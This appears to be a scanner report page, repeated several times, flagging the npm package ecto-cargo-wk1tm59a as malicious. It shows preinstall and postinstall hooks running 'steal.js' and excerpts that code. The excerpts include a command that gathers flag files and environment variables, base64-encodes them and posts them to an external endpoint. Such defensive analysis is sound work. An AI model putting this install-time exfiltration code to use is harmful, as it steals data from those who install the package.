ecto-cargo-wk1tm59a: Malicious npm security report (Block)

Loading npm security reports…

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node steal.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node steal.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node steal.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

steal.jsView file

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

steal.jsView on unpkg · L2

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

steal.jsView on unpkg · L2

2Trigger-reachable chain: scripts.preinstall -> steal.js L2: const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

steal.jsView on unpkg · L2

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http');

High

Child Process

Package source references child process execution.

steal.jsView on unpkg · L2

ecto-cargo-wk1tm59a-99.0.0.tgzView file

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = compressed_blob sizeBytes = 1347 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 1347 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node steal.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node steal.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node steal.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

steal.jsView file

ecto-cargo-wk1tm59a: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node steal.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node steal.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node steal.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

steal.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

steal.jsView on unpkg · L2

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

steal.jsView on unpkg · L2

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

steal.jsView on unpkg · L2

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http');

High

Child Process

Package source references child process execution.

steal.jsView on unpkg · L2

ecto-cargo-wk1tm59a-99.0.0.tgzView file

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = compressed_blob sizeBytes = 1347 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 1347 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

ecto-cargo-wk1tm59a@99.0.0

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code